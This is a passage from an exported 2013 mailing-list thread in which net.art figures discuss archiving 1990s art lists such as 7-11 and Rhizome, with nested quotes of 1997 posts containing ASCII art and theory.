[_____] |                        | [_____] |\n> |         |                        |         |\n> |         |========================|         |\n> |         |              [][][][][]|         |\n> |   __    |_____________ [][][][][]|    __   |\n> |  (__)   | FM 7-11 ****|  ========|   (__)  |\n> |  _____  |_____________|  **VOL{} |  _____  |\n> | /     \\ |                        | /     \\ |\n> ||  ( )  ||________________________||  ( )  ||\n> | \\_____/ | CD | TAPE | TAPE | AUX | \\_____/ |\n> |_________|____|___1__|___2__|_____|_________|\n> \n> LET'S CRANK THE SOUND WAY UP\n> LET'S DANCE AROUND THE GLOBE\n> NO ONE STOP UNTIL WE ALL DROP\n> \n> [+ Make no mistake, \"net.art\" as a discussion topic has been oscillating\n> constantly since 97]:\n> \n> From: dd <[log in to unmask]>\n> To: \"[log in to unmask]\" <[log in to unmask]>,\n>        \"[log in to unmask]\" <[log in to unmask]>\n> Subject: RE: [7-11] the meaning of the inner circle\n> Date: Tue, 30 Dec 1997 00:51:19 +0200\n> X-Ms-Attachment: WINMAIL.DAT 0 00-00-1980 00:00\n> Sender: [log in to unmask]\n> Reply-To: [log in to unmask]\n> \n> Essential to art is the work of art.\n> Essential to work of art are the spectators and the artist.\n> Essential to both is what could be art produced by  works today.\n> \n> The form of every artwork could not full of meaning, but full of new\n> artistic and dynamic values.\n> \n> We can still talk/meet where it is possible to make an effort for another\n> work.\n> where, spectators and artists are the essential faces who charges a living\n> form. The more dispersed of the circle of both, generates the more concrete\n> of the form,  in its classical fond.\n> \n> Net by itself is not enough, it needs the art form, generated by what could\n> be the work.\n> The materials for the work could be everything. The  form's life between\n> people, generates the materials,  not the opposite.\n> \n> \n> the inner circle is an interesting phenomenon\n> I have been contemplating on its meaning\n> just today I found in some old nettime posting\n> a possible insight into what meaning is in general\n> which seems very useful for the question:\n> what is the meaning of an inner circle?\n> \n> \"The line of the argument, as it\n> was developed by Ernesto Laclau, goes as follows: He starts from the\n> Saussurian assumption that meaning arises only within a system of\n> differences. The possibility of a system of differences, however, depends\n> on the possibility of its limits - and these limits cannot belong to the\n> side of the system, since in that case the limit was just another\n> difference and, hence, no limit. It is only as far as we perceive the\n> outside of the system as a radical outside (and the limit therefore as an\n> exclusionary limit) that we can speak of systematicity or meaning at all.\n> As a consequence the limits cannot be signified themselves, they can only\n> 'show themselves as the interruption or breakdown of the process of\n> signification' (Laclau 1996:37). The radicality of the radical outside\n> (non-meaning) is not only the condition of possibility for the\n> establishment of a structure (meaning) it is at the same time the condition\n> of impossibility of the establishment of a structure as closed totality\n> (full meaning). The effect of the exclusionary limit, in other words, 'is\n> that it introduces an essential ambivalence within the system of\n> differences constituted by those limits' (Laclau 1996:38).\"\n> \n> What is essential to net.art?\n> Where can we still talk/meet and where not?\n> Who decides on what thinking who to prank?\n> Are pranked inner circle?\n> \n> \n> happy days\n> \n> \n> J\n> *\n> \n> \n> \n> \n> \n> \n> -- \n> | facebook.com/MezBreezeDesign <http://www.facebook.com/MezBreezeDesign>\n> | twitter.com/MezBreezeDesign\n> | en.wikipedia.org/wiki/Mez_Breeze",
                        "id": 0,
                        "date": "Fri, 4 Oct 2013 13:33:17 +0200",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=19891",
                        "content-type": "text/plain",
                        "author_name": "Josephine Bosma",
                        "subject": "Re: Net.art.history?"
                    },
                    {
                        "from": "Simon Biggs",
                        "content": "\nI have Rhizome posts going back to April 6, 1996 and Raw to October 3, 1999. Other lists I have posts for from the 1990's include A-Life, artnetweb, ASCII, Avatars, Consciousness Reframed, CU-SeeMe, DigiDance, DXR, Fine Art Forum, Infowar, ISEA-Forum, NetArtTrade, Nettime, Shock of the View, Thingist, Voti (which has a new book out documenting that discussion) and WebWalker. These are far from complete records, some are quite patchy - most are from extinct mail clients but I have simple text files of the posts. I'm happy to put them into a repository of some kind (doubt I want to go back through them though).\n\nbest\n\nSimon\n\n\nOn 4 Oct 2013, at 12:33, Josephine Bosma <[log in to unmask]> wrote:\n\n> Wow. That is amazing. I hope my English and my work have improved a bit over time.\n> \n> This gives me an idea though. My own archive of 7-11 has vanished, as do my other mail archives of that time. Mez reminds me however that there are people who still have theirs. \n> \n> Would it be something to initiate a project, on online archive of mailing list archives? I for one really miss the early years of the Rhizome archives, from before it was called 'raw' (1997-2001). In fact, all of the Rhizome mailing list archives seem to have disappeared from their website. People who have (parts of) these could maybe be persuaded to share them. \n> \n> It would be great if this would also include earlier art 'lists' or mailboxes, including those on the early net and in BBS times. In Tilman Baumg\u00e4rtel's first book on net.art is an interview with Rena Tangens and Padeluun, for example. They ran a 'mailbox' named 'Bionic'. It would also be great to have the Artex 'list' content in there, run by Robert Adrian.\n> \n> http://www.medienkunstnetz.de/works/artex/\n> \n> \n> \n> Best wishes,\n> \n> \n> J\n> *\n> \n> \n> \n> \n> On 4 okt. 2013, at 12:49, mez breeze wrote:\n> \n>> On Thu, Oct 3, 2013 at 5:01 PM, Charlotte Frost <[log in to unmask]\n>>> wrote:\n>> \n>>> Is this post one of the most iconic pieces of net art history?\n>>> http://www.nettime.org/Lists-Archives/nettime-l-9703/msg00094.html\n>>> \n>> \n>> How about:\n>> \n>> From: \"Vuk Cosic\" <[log in to unmask]>\n>> Organization: KUD France Preseren\n>> To: [log in to unmask]\n>> Date: Tue, 14 Oct 1997 12:12:23 CET\n>> Subject: Re: [7-11] backbone\n>> Sender: [log in to unmask]\n>> Reply-To: [log in to unmask]\n>> \n>> ho\n>>> whats a net.art backbone?\n>> good one,\n>> i suppose it's a providers idea of 7-11\n>> sorta\n>> \n>> v\n>> \n>> ######################################################\n>> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100#\n>> #                                                    #\n>> #         _____     _ _               _____     _ _  #\n>> # __/\\__ |___  |   / / |      __/\\__ |___  |   / / | #\n>> # \\    /    / /____| | |      \\    /    / /____| | | #\n>> # /_  _\\   / /_____| | |      /_  _\\   / /_____| | | #\n>> #   \\/    /_/      |_|_|        \\/    /_/      |_|_| #\n>> #                                                    #\n>> #                                                    #\n>> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100#\n>> ########### http://www.ljudmila.org/7-11/ ############\n>> \n>> \n>> and:\n>> \n>> X-Sender: [log in to unmask]\n>> Date: Tue, 18 Nov 1997 07:14:01 -0700\n>> To: [log in to unmask]\n>> From: nov 97 <[log in to unmask]>\n>> Subject: [7-11] net art homework\n>> Sender: [log in to unmask]\n>> Reply-To: [log in to unmask]\n>> \n>> http://jupiter.ucsd.edu/~bookchin/finalProject.html\n>> \n>> \n>> \n>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n>> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n>> / /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n>>>> Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\n>> SATISFACTION SURVEY. > > > > >\n>> ###################################################### >\n>> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n>> 071101010 07110101 0711.00100# > ########### http://www.ljudmila.org/7-11/\n>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n>> / /____|##################################################################\n>>> ## ############      ########## # ### ### ##      ###### >\n>> ####  ######  #### #### ######  ##############  ###### >\n>> # ####  ##### #### ########## ######  ###   ####### >\n>>> \n>>> -\n>> \n>> [that link waybackmachined:\n>> http://web.archive.org/web/20070206180348/http://jupiter.ucsd.edu/~bookchin/finalProject.html\n>> ]\n>> \n>> Also:\n>> \n>> \n>> \n>> Date: Thu, 27 Nov 1997 20:42:36 +0100\n>> To: [log in to unmask]\n>> From: [log in to unmask]\n>> Subject: [7-11] Majordomo results: A word from the hostess.\n>> Sender: [log in to unmask]\n>> Reply-To: [log in to unmask]\n>> \n>> --\n>> \n>>>>>> who 7-11 [log in to unmask]\n>> Members of list '7-11':\n>> \n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> [log in to unmask]\n>> \n>> 24 subscribers\n>> \n>> \n>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n>> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n>> / /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n>>>> Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\n>> SATISFACTION SURVEY. > > > > >\n>> ###################################################### >\n>> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n>> 071101010 07110101 0711.00100# > ########### http://www.ljudmila.org/7-11/\n>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n>> / /____|##################################################################\n>>> ## ############      ########## # ### ### ##      ###### >\n>> ####  ######  #### #### ######  ##############  ###### >\n>> # ####  ##### #### ########## ######  ###   ####### >\n>>> \n>>> -\n>> \n>> \n>> and:\n>> \n>> Date: Sun, 30 Nov 1997 10:59:39 -0800 (PST)\n>> To: [log in to unmask]\n>> From: [log in to unmask] (Natalie Bookchin)\n>> Subject: Re: [7-11] A word from the hostess.\n>> Sender: [log in to unmask]\n>> Reply-To: [log in to unmask]\n>> \n>> Interview\n>> Natalie: Do you want to know why there is no net art in california?\n>> \n>> Natalie: Um.. there isn't? Yes do tell me why?\n>> \n>> Natalie: I think its because we dont have time to waste on things that we\n>> cant hang in our beach condos.\n>> \n>> Natalie And of course we're also buzy walking on the beach, looking at the\n>> ocean, napping under the palm trees, eating the best of pacific rim cooking\n>> \n>> Natalie: also we dont have the net yet hooked up in our cars yet\n>> \n>> Natalie: thats not true\n>> \n>> Natalie: yes it is.\n>> \n>> \n>> _________                          _________\n>> |  _____  |                        |  _____  |\n>> | [_____] |                        | [_____] |\n>> |         |                        |         |\n>> |         |========================|         |\n>> |         |              [][][][][]|         |\n>> |   __    |_____________ [][][][][]|    __   |\n>> |  (__)   | FM 7-11 ****|  ========|   (__)  |\n>> |  _____  |_____________|  **VOL{} |  _____  |\n>> | /     \\ |                        | /     \\ |\n>> ||  ( )  ||________________________||  ( )  ||\n>> | \\_____/ | CD | TAPE | TAPE | AUX | \\_____/ |\n>> |_________|____|___1__|___2__|_____|_________|\n>> \n>> LET'S CRANK THE SOUND WAY UP\n>> LET'S DANCE AROUND THE GLOBE\n>> NO ONE STOP UNTIL WE ALL DROP\n>> \n>> [+ Make no mistake, \"net.art\" as a discussion topic has been oscillating\n>> constantly since 97]:\n>> \n>> From: dd <[log in to unmask]>\n>> To: \"[log in to unmask]\" <[log in to unmask]>,\n>>       \"[log in to unmask]\" <[log in to unmask]>\n>> Subject: RE: [7-11] the meaning of the inner circle\n>> Date: Tue, 30 Dec 1997 00:51:19 +0200\n>> X-Ms-Attachment: WINMAIL.DAT 0 00-00-1980 00:00\n>> Sender: [log in to unmask]\n>> Reply-To: [log in to unmask]\n>> \n>> Essential to art is the work of art.\n>> Essential to work of art are the spectators and the artist.\n>> Essential to both is what could be art produced by  works today.\n>> \n>> The form of every artwork could not full of meaning, but full of new\n>> artistic and dynamic values.\n>> \n>> We can still talk/meet where it is possible to make an effort for another\n>> work.\n>> where, spectators and artists are the essential faces who charges a living\n>> form. The more dispersed of the circle of both, generates the more concrete\n>> of the form,  in its classical fond.\n>> \n>> Net by itself is not enough, it needs the art form, generated by what could\n>> be the work.\n>> The materials for the work could be everything. The  form's life between\n>> people, generates the materials,  not the opposite.\n>> \n>> \n>> the inner circle is an interesting phenomenon\n>> I have been contemplating on its meaning\n>> just today I found in some old nettime posting\n>> a possible insight into what meaning is in general\n>> which seems very useful for the question:\n>> what is the meaning of an inner circle?\n>> \n>> \"The line of the argument, as it\n>> was developed by Ernesto Laclau, goes as follows: He starts from the\n>> Saussurian assumption that meaning arises only within a system of\n>> differences. The possibility of a system of differences, however, depends\n>> on the possibility of its limits - and these limits cannot belong to the\n>> side of the system, since in that case the limit was just another\n>> difference and, hence, no limit. It is only as far as we perceive the\n>> outside of the system as a radical outside (and the limit therefore as an\n>> exclusionary limit) that we can speak of systematicity or meaning at all.\n>> As a consequence the limits cannot be signified themselves, they can only\n>> 'show themselves as the interruption or breakdown of the process of\n>> signification' (Laclau 1996:37). The radicality of the radical outside\n>> (non-meaning) is not only the condition of possibility for the\n>> establishment of a structure (meaning) it is at the same time the condition\n>> of impossibility of the establishment of a structure as closed totality\n>> (full meaning). The effect of the exclusionary limit, in other words, 'is\n>> that it introduces an essential ambivalence within the system of\n>> differences constituted by those limits' (Laclau 1996:38).\"\n>> \n>> What is essential to net.art?\n>> Where can we still talk/meet and where not?\n>> Who decides on what thinking who to prank?\n>> Are pranked inner circle?\n>> \n>> \n>> happy days\n>> \n>> \n>> J\n>> *\n>> \n>> \n>> \n>> \n>> \n>> \n>> -- \n>> | facebook.com/MezBreezeDesign <http://www.facebook.com/MezBreezeDesign>\n>> | twitter.com/MezBreezeDesign\n>> | en.wikipedia.org/wiki/Mez_Breeze\n> \n\n\nSimon Biggs\n[log in to unmask]\nhttp://www.littlepig.org.uk @SimonBiggsUK http://amazon.com/author/simonbiggs\n\n[log in to unmask] Edinburgh College of Art, University of Edinburgh\nhttp://www.ed.ac.uk/schools-departments/edinburgh-college-art/school-of-art/staff/staff?person_id=182&cw_xml=profile.php\nhttp://www.research.ed.ac.uk/portal/en/persons/simon-biggs%285dfcaf34-56b1-4452-9100-aaab96935e31%29.html\n\nhttp://www.eca.ac.uk/circle/  http://www.elmcip.net/  http://www.movingtargets.org.uk/  http://designinaction.com/\nMSc by Research in Interdisciplinary Creative Practices  http://www.ed.ac.uk/studying/postgraduate/degrees?id=656&cw_xml=details.php",
                        "id": 0,
                        "date": "Fri, 4 Oct 2013 12:58:47 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=20335",
                        "content-type": "text/plain",
                        "author_name": "Simon Biggs",
                        "subject": "Re: Net.art.history?"
                    },
                    {
                        "from": "mez breeze",
                        "content": "\nOn Fri, Oct 4, 2013 at 9:33 PM, Josephine Bosma <[log in to unmask]> wrote:\n\n> Wow. That is amazing. I hope my English and my work have improved a bit\n> over time.\n>\n\nI hope mine has as well, J! [Actually reading through the archives is an\nextremely interesting process - like watching the beginnings of the net art\nscene unfurl, close up in small spurts, then unfurl again - almost like a\npulse].\n\n\n>\n> This gives me an idea though. My own archive of 7-11 has vanished, as do\n> my other mail archives of that time. Mez reminds me however that there are\n> people who still have theirs.\n>\n\nI'm actually going through most of the output of early net art history\n[archives, documentation, catalogues] as part of an invitation from Duke\nUniversity to develop a comprehensive career archive of my works,\nassociated documents/referential material, correspondence and papers to be\nhoused there at the David M. Rubenstein Rare Book & Manuscript Library.\nMakes for fascinating reading.\n\n\n> Would it be something to initiate a project, on online archive of mailing\n> list archives? I for one really miss the early years of the Rhizome\n> archives, from before it was called 'raw' (1997-2001). In fact, all of the\n> Rhizome mailing list archives seem to have disappeared from their website.\n> People who have (parts of) these could maybe be persuaded to share them.\n>\n\nI'd be more than happy to contribute. I've kept as much archival material\nas possible [even then I realised how crucial our contributions would\nbecome in terms of a historicising process]. I actually intend to collate\nthem all in book form at some stage, perhaps with an accompanying\n\"commentary\" of sorts...\n\n\n> It would be great if this would also include earlier art 'lists' or\n> mailboxes, including those on the early net and in BBS times. In Tilman\n> Baumg\u00e4rtel's first book on net.art is an interview with Rena Tangens and\n> Padeluun, for example. They ran a 'mailbox' named 'Bionic'. It would also\n> be great to have the Artex 'list' content in there, run by Robert Adrian.\n>\n\nThere's a great set of emails of a Vuk Cosic interview by jodi that I came\nacross when trawling my archives. I'll see if I can ferret it out again and\npost it here.\n\nChunks,\nMez\n\n-- \n| facebook.com/MezBreezeDesign <http://www.facebook.com/MezBreezeDesign>\n| twitter.com/MezBreezeDesign\n| en.wikipedia.org/wiki/Mez_Breeze",
                        "id": 0,
                        "date": "Fri, 4 Oct 2013 22:28:54 +1000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=21701",
                        "content-type": "text/plain",
                        "author_name": "mez breeze",
                        "subject": "Re: Net.art.history?"
                    },
                    {
                        "content-type": "text/plain",
                        "from": "Michael Connor",
                        "content": "\nHi Simon and everyone,\n\nThe Rhizome website currently has Rhizome mailing list posts back to\n1996 in digest format (under discuss, go to the last page of threads).\nThe addresses are unfortunately stripped, thanks to a poorly\nthought-out data migration a number of years ago. It's on our\nconservation to-do list to restore this properly, and of course it\nwould be fantastic to see a crowd-sourced version of this, too.\n\nAs part of our conservation program, Rhizome has also preserved a few\nnotable art BBSes, blogs and surf clubs. Several of these will be made\npublic as part of our forthcoming Artbase relaunch. From a technical\nstandpoint, the preservation process of the blogs and surf clubs was\nfairly straightforward (although the discussions with participants\nwere not necessarily so). The real technical problems arose with The\nThing - this article provides a bit of context.\nhttp://www.theverge.com/2013/3/15/4104494/the-thing-reloaded-bringing-bbs-networks-back-from-the-dead\n\nAlso, Charlotte, did you see the Art in America article in Sept about\nRhizome? Apologies if you've already covered that.\n\nOn Fri, Oct 4, 2013 at 7:58 AM, Simon Biggs <[log in to unmask]> wrote:\n> I have Rhizome posts going back to April 6, 1996 and Raw to October 3, 1999. Other lists I have posts for from the 1990's include A-Life, artnetweb, ASCII, Avatars, Consciousness Reframed, CU-SeeMe, DigiDance, DXR, Fine Art Forum, Infowar, ISEA-Forum, NetArtTrade, Nettime, Shock of the View, Thingist, Voti (which has a new book out documenting that discussion) and WebWalker. These are far from complete records, some are quite patchy - most are from extinct mail clients but I have simple text files of the posts. I'm happy to put them into a repository of some kind (doubt I want to go back through them though).\n>\n> best\n>\n> Simon\n>\n>\n> On 4 Oct 2013, at 12:33, Josephine Bosma <[log in to unmask]> wrote:\n>\n>> Wow. That is amazing. I hope my English and my work have improved a bit over time.\n>>\n>> This gives me an idea though. My own archive of 7-11 has vanished, as do my other mail archives of that time. Mez reminds me however that there are people who still have theirs.\n>>\n>> Would it be something to initiate a project, on online archive of mailing list archives? I for one really miss the early years of the Rhizome archives, from before it was called 'raw' (1997-2001). In fact, all of the Rhizome mailing list archives seem to have disappeared from their website. People who have (parts of) these could maybe be persuaded to share them.\n>>\n>> It would be great if this would also include earlier art 'lists' or mailboxes, including those on the early net and in BBS times. In Tilman Baumg\u00e4rtel's first book on net.art is an interview with Rena Tangens and Padeluun, for example. They ran a 'mailbox' named 'Bionic'. It would also be great to have the Artex 'list' content in there, run by Robert Adrian.\n>>\n>> http://www.medienkunstnetz.de/works/artex/\n>>\n>>\n>>\n>> Best wishes,\n>>\n>>\n>> J\n>> *\n>>\n>>\n>>\n>>\n>> On 4 okt. 2013, at 12:49, mez breeze wrote:\n>>\n>>> On Thu, Oct 3, 2013 at 5:01 PM, Charlotte Frost <[log in to unmask]\n>>>> wrote:\n>>>\n>>>> Is this post one of the most iconic pieces of net art history?\n>>>> http://www.nettime.org/Lists-Archives/nettime-l-9703/msg00094.html\n>>>>\n>>>\n>>> How about:\n>>>\n>>> From: \"Vuk Cosic\" <[log in to unmask]>\n>>> Organization: KUD France Preseren\n>>> To: [log in to unmask]\n>>> Date: Tue, 14 Oct 1997 12:12:23 CET\n>>> Subject: Re: [7-11] backbone\n>>> Sender: [log in to unmask]\n>>> Reply-To: [log in to unmask]\n>>>\n>>> ho\n>>>> whats a net.art backbone?\n>>> good one,\n>>> i suppose it's a providers idea of 7-11\n>>> sorta\n>>>\n>>> v\n>>>\n>>> ######################################################\n>>> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100#\n>>> #                                                    #\n>>> #         _____     _ _               _____     _ _  #\n>>> # __/\\__ |___  |   / / |      __/\\__ |___  |   / / | #\n>>> # \\    /    / /____| | |      \\    /    / /____| | | #\n>>> # /_  _\\   / /_____| | |      /_  _\\   / /_____| | | #\n>>> #   \\/    /_/      |_|_|        \\/    /_/      |_|_| #\n>>> #                                                    #\n>>> #                                                    #\n>>> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100#\n>>> ########### http://www.ljudmila.org/7-11/ ############\n>>>\n>>>\n>>> and:\n>>>\n>>> X-Sender: [log in to unmask]\n>>> Date: Tue, 18 Nov 1997 07:14:01 -0700\n>>> To: [log in to unmask]\n>>> From: nov 97 <[log in to unmask]>\n>>> Subject: [7-11] net art homework\n>>> Sender: [log in to unmask]\n>>> Reply-To: [log in to unmask]\n>>>\n>>> http://jupiter.ucsd.edu/~bookchin/finalProject.html\n>>>\n>>>\n>>>\n>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n>>> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n>>> / /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n>>>>> Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\n>>> SATISFACTION SURVEY. > > > > >\n>>> ###################################################### >\n>>> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n>>> 071101010 07110101 0711.00100# > ########### http://www.ljudmila.org/7-11/\n>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n>>> / /____|##################################################################\n>>>> ## ############      ########## # ### ### ##      ###### >\n>>> ####  ######  #### #### ######  ##############  ###### >\n>>> # ####  ##### #### ########## ######  ###   ####### >\n>>>>\n>>>> -\n>>>\n>>> [that link waybackmachined:\n>>> http://web.archive.org/web/20070206180348/http://jupiter.ucsd.edu/~bookchin/finalProject.html\n>>> ]\n>>>\n>>> Also:\n>>>\n>>>\n>>>\n>>> Date: Thu, 27 Nov 1997 20:42:36 +0100\n>>> To: [log in to unmask]\n>>> From: [log in to unmask]\n>>> Subject: [7-11] Majordomo results: A word from the hostess.\n>>> Sender: [log in to unmask]\n>>> Reply-To: [log in to unmask]\n>>>\n>>> --\n>>>\n>>>>>>> who 7-11 [log in to unmask]\n>>> Members of list '7-11':\n>>>\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>> [log in to unmask]\n>>>\n>>> 24 subscribers\n>>>\n>>>\n>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n>>> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n>>> / /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n>>>>> Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\n>>> SATISFACTION SURVEY. > > > > >\n>>> ###################################################### >\n>>> #1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n>>> | | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n>>> \\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n>>> 071101010 07110101 0711.00100# > ########### http://www.ljudmila.org/7-11/\n>>> _____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n>>> / /____|##################################################################\n>>>> ## ############      ########## # ### ### ##      ###### >\n>>> ####  ######  #### #### ######  ##############  ###### >\n>>> # ####  ##### #### ########## ######  ###   ####### >\n>>>>\n>>>> -\n>>>\n>>>\n>>> and:\n>>>\n>>> Date: Sun, 30 Nov 1997 10:59:39 -0800 (PST)\n>>> To: [log in to unmask]\n>>> From: [log in to unmask] (Natalie Bookchin)\n>>> Subject: Re: [7-11] A word from the hostess.\n>>> Sender: [log in to unmask]\n>>> Reply-To: [log in to unmask]\n>>>\n>>> Interview\n>>> Natalie: Do you want to know why there is no net art in california?\n>>>\n>>> Natalie: Um.. there isn't? Yes do tell me why?\n>>>\n>>> Natalie: I think its because we dont have time to waste on things that we\n>>> cant hang in our beach condos.\n>>>\n>>> Natalie And of course we're also buzy walking on the beach, looking at the\n>>> ocean, napping under the palm trees, eating the best of pacific rim cooking\n>>>\n>>> Natalie: also we dont have the net yet hooked up in our cars yet\n>>>\n>>> Natalie: thats not true\n>>>\n>>> Natalie: yes it is.\n>>>\n>>>\n>>> _________                          _________\n>>> |  _____  |                        |  _____  |\n>>> | [_____] |                        | [_____] |\n>>> |         |                        |         |\n>>> |         |========================|         |\n>>> |         |              [][][][][]|         |\n>>> |   __    |_____________ [][][][][]|    __   |\n>>> |  (__)   | FM 7-11 ****|  ========|   (__)  |\n>>> |  _____  |_____________|  **VOL{} |  _____  |\n>>> | /     \\ |                        | /     \\ |\n>>> ||  ( )  ||________________________||  ( )  ||\n>>> | \\_____/ | CD | TAPE | TAPE | AUX | \\_____/ |\n>>> |_________|____|___1__|___2__|_____|_________|\n>>>\n>>> LET'S CRANK THE SOUND WAY UP\n>>> LET'S DANCE 